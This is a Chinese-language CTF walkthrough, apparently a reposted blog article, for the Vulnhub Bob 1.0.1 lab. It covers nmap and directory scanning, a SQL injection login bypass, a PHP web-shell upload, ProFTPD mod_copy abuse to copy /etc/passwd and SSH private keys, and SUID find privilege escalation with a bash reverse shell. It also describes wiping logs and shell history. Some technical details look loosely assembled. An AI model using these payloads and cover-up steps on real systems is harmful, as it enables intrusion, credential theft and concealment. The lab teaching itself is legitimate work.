当前位置: 首页 > news >正文

Bob 1.0.1靶机实战:从Web渗透到权限提升的完整渗透测试思维构建

1. 项目概述:从Bob 1.0.1靶机看实战渗透的思维构建

最近在Vulnhub上看到Bob 1.0.1这个靶机又被不少朋友提起,作为一款经典的入门到中级难度的实战环境,它确实是个不错的“练手场”。这个靶机模拟了一个存在多处漏洞的Web应用服务器,目标很直接:拿到root权限,读取最终的flag文件。听起来简单,但整个渗透路径却巧妙地串联了信息收集、Web漏洞利用、权限提升等多个核心环节,非常适合用来检验和巩固渗透测试的基础方法论。我自己也反复打过几次,每次都能发现一些之前忽略的细节。今天,我就以Bob 1.0.1为例,把整个渗透过程掰开揉碎了讲一遍,重点不是复现命令,而是分享在每个环节背后的思考逻辑和可能遇到的“坑”。无论你是刚接触渗透测试的新手,还是想温故知新的朋友,希望这篇详尽的实战记录能给你带来一些启发。

2. 环境搭建与初始信息收集

2.1 靶机环境配置与网络发现

首先,你得有个能运行的环境。从Vulnhub官网下载Bob 1.0.1的OVA文件,导入到VMware或VirtualBox中。我习惯用VirtualBox,因为它对个人用户更友好。导入后,务必将靶机的网络模式设置为“桥接”或者“Host-Only”。桥接模式会让靶机和你自己的攻击机(比如Kali Linux)处于同一物理网络段,像两个真实的设备一样,这样扫描和攻击最直接。如果网络环境复杂,用Host-Only模式(配合VirtualBox的虚拟网卡)也能保证两者互通,且与外界隔离,更安全。

启动靶机后,它通常不会显示IP地址。我们的第一个任务就是找到它。在Kali上打开终端,最常用的命令是netdiscover。这是一个基于ARP协议的网络发现工具,能快速找出同一网段内存活的设备。

sudo netdiscover -r 192.168.1.0/24

这里的-r参数指定了扫描范围,你需要根据自己实际的网络环境修改。比如你的Kali IP是192.168.1.105,那么子网可能就是192.168.1.0/24。运行后,你会看到一堆MAC地址和IP,寻找那些厂商信息显示为“VMware”或“VirtualBox”的,大概率就是我们的靶机。假设我们找到了靶机IP:192.168.1.120

注意:有时netdiscover可能因为权限或网络配置问题扫不到,备用方案是使用nmap进行ping扫描:nmap -sn 192.168.1.0/24。这个命令会发送ICMP回声请求和TCP SYN包到443端口、TCP ACK包到80端口,综合判断主机是否在线,通常也很有效。

2.2 全面的端口与服务扫描

知道IP后,下一步就是“敲门”,看看靶机上开了哪些“门”(端口),运行着什么服务。这里要用到渗透测试的“瑞士军刀”——Nmap。我们不只要做快速扫描,更要做深度扫描,获取尽可能多的信息。

nmap -sS -sV -sC -O -p- 192.168.1.120 -oN nmap_initial.txt

我来拆解一下这个命令:

  • -sS: TCP SYN扫描。这是一种半开放扫描,发送SYN包,如果收到SYN/ACK回复,就认为端口开放,然后立刻发送RST断开,不完成完整的三次握手,相对隐蔽。
  • -sV: 版本探测。尝试识别运行在开放端口上的服务及其具体版本号,这对寻找已知漏洞至关重要。
  • -sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测,比如检查HTTP服务的标题、robots.txt文件,或者尝试识别一些简单的漏洞。
  • -O: 操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标操作系统。
  • -p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口,但实战中,管理员经常把服务放在非标准端口上,全端口扫描是必须的。
  • -oN nmap_initial.txt: 将扫描结果以标准格式输出到文件,方便后续查阅。

扫描结果通常会显示类似这样的信息:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 2112/tcp open ftp ProFTPD 1.3.5

从结果中,我们获得了三个关键入口:

  1. 22端口 - SSH服务:运行的是OpenSSH 7.2p2。这个版本存在一些已知漏洞,但通常不是最优先的突破口,因为SSH的爆破或漏洞利用相对较难。
  2. 80端口 - HTTP服务:Apache 2.4.18。这是我们的主攻方向,Web应用往往包含更多逻辑漏洞和配置问题。
  3. 2112端口 - FTP服务:运行的是ProFTPD 1.3.5。这是一个非常重要的发现,因为ProFTPD 1.3.5有一个著名的后门漏洞(CVE-2015-3306)。我们需要立刻记下这个点。

3. Web渗透与漏洞利用分析

3.1 网站目录枚举与敏感文件发现

拿到Web服务的入口,我们首先要对网站结构进行侦察。使用工具如gobusterdirb来暴力破解隐藏的目录和文件。

gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster_scan.txt
  • -u: 指定目标URL。
  • -w: 指定字典文件。Kali自带的common.txt是个不错的起点。
  • -x: 指定要尝试的文件扩展名。很多Web应用使用PHP,同时也要找txt、备份文件(.bak)等。
  • -o: 输出结果到文件。

扫描结果可能会发现一些有趣的路径,比如:

  • /admin: 管理后台入口。
  • /index.php: 主页面。
  • /robots.txt: 这个文件特别重要,它有时会暴露出不想被搜索引擎抓取的目录,也就是开发者认为敏感的路径。

访问http://192.168.1.120/robots.txt,我们可能会看到类似内容:

User-agent: * Disallow: /admin/ Disallow: /dev/ Disallow: /secret/

这直接给我们指明了三个需要重点关注的目录。

3.2 漏洞挖掘与利用:从SQL注入到文件上传

逐一访问这些目录。假设/admin是一个登录页面。面对登录框,我们本能地要测试是否存在SQL注入。使用Burp Suite拦截登录请求,或者直接在用户名输入框尝试经典payload:admin' or '1'='1

如果存在注入,我们可能会绕过登录,进入后台。在Bob靶机中,后台可能有一个“添加用户”或“文件上传”的功能。文件上传功能是Web安全中一个极高危的点

假设我们找到了一个上传头像的功能,它只在前端用JavaScript检查了文件扩展名(比如只允许.jpg, .png)。这种前端验证形同虚设,我们可以用Burp Suite轻松绕过。

实操步骤:

  1. 准备一个PHP的Web Shell,例如一句话木马:<?php system($_GET[‘cmd’]); ?>,保存为shell.php.jpg。这样能骗过前端检查。
  2. 在Burp Suite中拦截上传请求,将文件名shell.php.jpg改为shell.php,然后放行。
  3. 如果服务器没有在后端对文件内容和扩展名做严格校验,我们的Web Shell就会被上传到服务器,比如在/uploads/目录下。

访问http://192.168.1.120/uploads/shell.php?cmd=id,如果页面上返回了当前用户的ID信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),那么恭喜,我们获得了网站服务器的命令执行权限,也就是通常所说的“Web Shell”。

重要心得:上传漏洞的利用成功与否,取决于后端过滤策略。常见绕过手法除了改包,还有:

  • 双写扩展名shell.pHp.jpg,某些过滤逻辑可能删除php字符串,处理后变成shell.jpg,但双写就能剩下.pHp
  • 利用解析漏洞:例如IIS的shell.php;.jpg或Nginx在某些错误配置下将shell.jpg当作PHP执行。
  • 内容类型(Content-Type)欺骗:将Burp中请求头的Content-Type改为image/jpeg。 在Bob靶机中,通常是一种比较简单的过滤,用于教学目的。

3.3 利用ProFTPD后门获取初始立足点

还记得我们在端口扫描时发现的2112端口运行的ProFTPD 1.3.5吗?现在我们有了Web Shell,可以尝试利用这个著名的漏洞。

ProFTPD 1.3.5版本在mod_copy模块中有一个后门命令SITE CPFRSITE CPTO,允许任意用户复制服务器上的任何文件到任何位置。这意味着我们可以复制敏感文件,比如/etc/passwd(用户账户信息)或者SSH私钥。

利用过程:

  1. 通过Web Shell,我们可以用nc(netcat)连接到靶机的2112端口。但更简单的方式是直接用Web Shell执行命令。
  2. 在Web Shell的cmd参数中执行以下命令,模拟FTP客户端利用漏洞:
    # 首先,通过Web Shell创建一个简单的脚本或直接使用管道和重定向。我们可以用Python或Perl来发送原始FTP命令。 # 以下是一个使用bash和/dev/tcp实现的简单利用(假设靶机bash支持): exec 3<>/dev/tcp/192.168.1.120/2112 echo -e "SITE CPFR /etc/passwd\nSITE CPTO /tmp/passwd_copy" >&3 cat <&3
    这个命令会尝试将/etc/passwd文件复制到/tmp/passwd_copy
  3. 如果成功,我们就可以通过Web Shell读取/tmp/passwd_copy文件,查看系统用户列表。更重要的是,我们要寻找SSH私钥。通常用户的家目录下可能有.ssh/id_rsa文件。
  4. 尝试复制目标用户(比如一个叫bobjeff的用户)的私钥:
    exec 3<>/dev/tcp/localhost/2112 echo -e "SITE CPFR /home/bob/.ssh/id_rsa\nSITE CPTO /tmp/id_rsa" >&3 cat <&3
  5. 如果成功,通过Web Shell读取/tmp/id_rsa,你将得到一段私钥文本。将其保存到你的攻击机上(例如bob_id_rsa),并修改权限为600(只有所有者可读可写):
    chmod 600 bob_id_rsa
  6. 使用这个私钥通过SSH登录:
    ssh -i bob_id_rsa bob@192.168.1.120
    如果私钥没有密码,你将直接获得一个低权限的shell(用户bob)。如果设置了密码,我们可能需要暴力破解或者寻找其他途径。

踩坑记录:利用ProFTPD漏洞时,复制的源路径和目标路径必须都是绝对路径。有时你需要精确知道家目录的路径。如果不知道用户名,可以先复制/etc/passwd来查看。另外,不是所有ProFTPD 1.3.5都一定开启mod_copy,但这个靶机为了教学目的,通常是开启的。

4. 权限提升与内部横向移动

4.1 系统信息枚举与SUID权限审计

通过SSH或者稳定的Web Shell获得一个低权限用户(如www-databob)的shell后,我们进入了内部环境。下一步目标是提升到root权限。

首先,进行彻底的系统信息枚举。我习惯创建一个检查清单:

  1. 当前用户和权限idwhoami
  2. 系统信息uname -acat /etc/issuecat /etc/*release
  3. 进程信息ps auxps -ef, 查看以root运行的、不常见的进程。
  4. 网络连接netstat -tulpnss -tulpn, 查看内部开放的其他端口和服务。
  5. 计划任务crontab -l(当前用户), 查看/etc/crontab, 以及/etc/cron.d//etc/cron.hourly/等目录,寻找可以修改的、以root权限执行的脚本。
  6. 可写文件与目录find / -type f -writable -user $(whoami) 2>/dev/null | grep -v /proc, 寻找当前用户可写的敏感文件。
  7. SUID/SGID文件:这是提权的黄金检查点。SUID(Set User ID)文件在执行时,会以文件所有者的权限运行。如果找到一个属于root且具有SUID权限的、非常规的可执行文件,就可能存在提权漏洞。
    find / -type f -perm -u=s -user root 2>/dev/null

在Bob靶机中,执行SUID查找命令后,你可能会发现一个不常见的二进制文件,例如/usr/bin/findfind命令本身是系统常用命令,但它如果被设置了SUID位,就可以被用来提权。

4.2 利用SUID二进制文件进行提权

find命令有一个-exec参数,可以执行任意命令。当find以SUID root权限运行时,通过-exec执行的命令也将拥有root权限。

提权步骤:

  1. 确认/usr/bin/find具有SUID权限:
    ls -la /usr/bin/find
    输出中应有-rwsr-xr-x,其中的s就是SUID标志。
  2. 利用find命令执行一个反弹shell,或者直接添加一个具有root权限的用户。方法一:添加root用户到/etc/passwd首先,生成一个密码哈希。使用openssl生成一个密码为newroot的哈希:
    openssl passwd -1 -salt abc newroot
    假设输出是:$1$abc$TkWoB2.9F9F9F9F9F9F9F9。 然后,构造一个包含新root用户的字符串:
    echo "newroot:\$1\$abc\$TkWoB2.9F9F9F9F9F9F9F9:0:0:root:/root:/bin/bash" >> /tmp/passwd_new
    最后,使用find命令的-exec参数,用root权限将这一行追加到/etc/passwd
    /usr/bin/find /tmp/passwd_new -exec cat {} \; >> /etc/passwd
    现在,你可以使用用户名newroot和密码newroot通过su命令切换到root。
    su newroot
    方法二:获取root shell更直接的方法是让find执行一个以root权限运行的shell:
    /usr/bin/find / -exec /bin/sh \; -quit
    或者,如果你在外网有监听,可以弹一个root权限的shell回来: 在攻击机监听:nc -lvnp 4444在靶机执行:
    /usr/bin/find / -exec bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' \; -quit

核心原理:SUID提权的本质是找到了一个“特权程序”,这个程序在设计上或配置上允许我们以高权限执行我们控制的代码。除了find,常见的危险SUID程序还有vim(如果支持!command)、nmap(旧版本的交互模式)、bash(某些版本)、cpmv等。关键在于用find / -perm -u=s -type f 2>/dev/null找出它们,然后去GTFOBins(一个著名的Linux二进制提权技术库网站)查询对应的利用方法。

4.3 其他提权路径的探索

SUID提权是经典路径,但一个完整的渗透测试者不能只依赖一条路。在Bob靶机中,可能还隐藏着其他提权点,我们需要培养多角度探查的习惯:

  1. 内核漏洞提权:运行uname -a查看内核版本,然后搜索该版本是否存在公开的本地提权漏洞(如Dirty Cow, CVE-2016-5195)。可以使用searchsploit工具在本地查找:
    searchsploit linux kernel 4.4.0-21 # 替换成你的内核版本
    如果找到,下载对应的利用代码,在靶机上编译执行(可能需要安装gcc)。
  2. 环境变量劫持:如果发现以root权限运行的、调用了相对路径命令的脚本(例如在crontab里发现了backup.sh,而内容为tar czf /backup/backup.tar.gz /home/bob),并且当前用户对脚本所在目录有写权限,或者对PATH环境变量有控制权,就可以进行劫持。例如,在/tmp下创建一个恶意的tar程序,然后修改当前会话的PATH,让脚本优先执行我们的恶意tar
  3. sudo权限滥用:检查当前用户可以用sudo执行哪些命令:sudo -l。如果允许无密码执行某些命令(如sudo /usr/bin/vimsudo /usr/bin/python),那么直接可以通过这些命令启动一个root shell(例如sudo vim -c ‘:!bash’sudo python -c ‘import os; os.system(“/bin/bash”)’)。

在Bob靶机中,主要设计的提权路径就是SUID的find,但了解这些其他方法能让你在更复杂的真实环境中游刃有余。

5. 后渗透与痕迹清理

5.1 定位并获取最终Flag

拿到root权限后,最后一步就是找到证明你成功的“战利品”——flag文件。在Vulnhub靶机中,flag通常位于/root目录下,名字可能是flag.txtproof.txtroot.txt等。

cd /root ls -la cat flag.txt

或者用find命令全局搜索:

find / -name *flag* 2>/dev/null find / -name *proof* 2>/dev/null find / -name *.txt -type f -exec grep -l “THM{” {} \; 2>/dev/null # 如果flag是特定格式

将flag内容记录下来,这就是你完成渗透的最终证据。

5.2 清理入侵痕迹(仅限授权测试)

获得明确授权的渗透测试中,清理痕迹是职业操守的一部分,目的是避免被后续的安全监测发现,也避免给客户系统留下后门。主要清理以下几类日志:

  1. 认证日志
    • /var/log/auth.log(Ubuntu/Debian)
    • /var/log/secure(CentOS/RHEL) 删除包含你IP地址或用户名的SSH登录失败/成功记录。
  2. Web访问日志
    • Apache:/var/log/apache2/access.log,/var/log/apache2/error.log
    • Nginx:/var/log/nginx/access.log,/var/log/nginx/error.log删除你进行目录扫描、SQL注入、文件上传访问的记录。
  3. 命令历史
    • 当前用户的命令历史:history -c或清空~/.bash_history文件。
    • 如果你切换过用户,也要清理相应用户目录下的.bash_history
  4. 你创建的文件和工具:删除上传的Web Shell(如/uploads/shell.php)、下载的漏洞利用程序、复制的私钥文件(如/tmp/id_rsa)等。
  5. 添加的用户:如果你通过修改/etc/passwd添加了用户,记得删除那一行。

重要警告:仅在获得书面授权的渗透测试环境中进行痕迹清理。在非法攻击中清理痕迹是违法的,并且有经验的管理员会通过日志服务器、入侵检测系统(IDS)或文件完整性监控(FIM)发现异常。这里的介绍仅用于教学和理解攻击者视角。

5.3 撰写渗透测试报告要点

完成所有步骤后,一份清晰的报告是价值的最终体现。报告不应只是命令的罗列,而应体现你的思考过程。

报告结构建议:

  1. 执行摘要:用非技术语言向管理层简述发现了什么风险,其可能造成的业务影响(如数据泄露、系统瘫痪)。
  2. 测试范围与方法:明确测试的IP、时间、使用的技术类型(黑盒/白盒)。
  3. 详细发现:这是核心。按风险等级(高危、中危、低危)列出每个漏洞。
    • 漏洞标题:如“ProFTPD 1.3.5 后门漏洞 (CVE-2015-3306)导致未授权文件复制”。
    • 风险等级:高危。
    • 受影响资产:192.168.1.120:2112。
    • 漏洞描述:简述漏洞原理。
    • 复现步骤:提供清晰的步骤,让开发或运维人员能复现问题。
    • 证据截图:关键步骤的截图,如Nmap扫描结果、利用成功的命令回显、获取的flag等。
    • 修复建议:给出具体、可操作的修复方案。例如:“升级ProFTPD至最新版本,或禁用mod_copy模块。”
  4. 附录:可以放置一些完整的工具输出,如Nmap扫描报告。

通过Bob 1.0.1这个靶机,我们完整地走了一遍从外部侦察、Web渗透、服务漏洞利用到系统提权的流程。每个环节都环环相扣,信息收集的质量直接决定了后续攻击的效率和成功率。真正的渗透测试,工具和命令只是表象,底层是持续的好奇心、严谨的逻辑思维和对系统原理的深刻理解。多打靶机,多思考“为什么这里能成功”、“如果这里不行下一步该怎么办”,这种思维模式的锻炼,远比死记硬背几个payload重要得多。

http://www.cnnetsun.cn/news/2970707.html

相关文章:

  • 深入解析M68HC11 CPU架构:寄存器、指令集与嵌入式开发实战
  • 一文详解C++中的类型转化
  • Arnis:如何用创新工具一键生成逼真的Minecraft城市世界?
  • 突破传统:LightX2V如何重新定义视频生成推理
  • Cactbot安全使用指南:如何合规使用FFXIV战斗辅助工具
  • MC68060总线信号深度解析:从硬件通信原理到嵌入式系统设计实践
  • R3nzSkin国服特供版:5分钟解锁英雄联盟全皮肤免费体验指南
  • 3步解锁QQ音乐加密文件:macOS用户必备的格式转换终极指南
  • CANN/GE SubgraphBoundary构造与析构
  • Crawl4AI:智能网页数据提取工具,让AI应用开发更简单
  • Python数据采集+机器学习:7×24小时企业级舆情监控系统完整落地指南
  • 如何用Tiny11Builder打造你的专属轻量级Windows 11系统?3步解决系统臃肿问题
  • Seedance 2.0 国内实战指南:API调用、中转站选型与Iris Out生成
  • 网盘直链下载助手:3分钟告别客户端,实现真正的高速下载自由
  • MC68HC908EY16A FLASH编程与ADC10模块:嵌入式系统稳定性的硬件基石
  • Page Assist终极指南:3分钟让本地AI成为你的网页助手
  • NAS上部署AgentMemory:DeepSeek压缩+Tailscale远程访问实战
  • Grok-4.3 Beta可信路径建模:让大模型推理可验证、可调控
  • GPT-4o高阶提示词设计:锚点、节奏与留白三大范式
  • Grok-3 v3.2.4热更新深度解析:大模型工程化落地的毫米级优化
  • GPT-4o协同建模:重构程序员的思考操作系统
  • 戴尔G15散热控制终极指南:开源AWCC替代方案完全解析
  • 新手关于AI claude code的使用步骤
  • MC9S08GB/GT硬件设计:从ESD防护到直流电气特性的可靠性实战解析
  • 企业级大模型推理七堵墙:显存、通信、IO等硬性瓶颈实战拆解
  • NTFS压缩实战指南:在HDD与SSD上权衡性能与空间的决策
  • ESP32实战-OLED驱动与动态数据显示
  • 嵌入式ADC队列化设计:QADC扫描模式与边界条件深度解析
  • 4-流形中非定向曲面嵌入的法欧拉数约束研究
  • 惠勒-闭弦宇宙信息基元演化方程:基于自指不动点的拓扑信息论(世毫九实验室原创研究)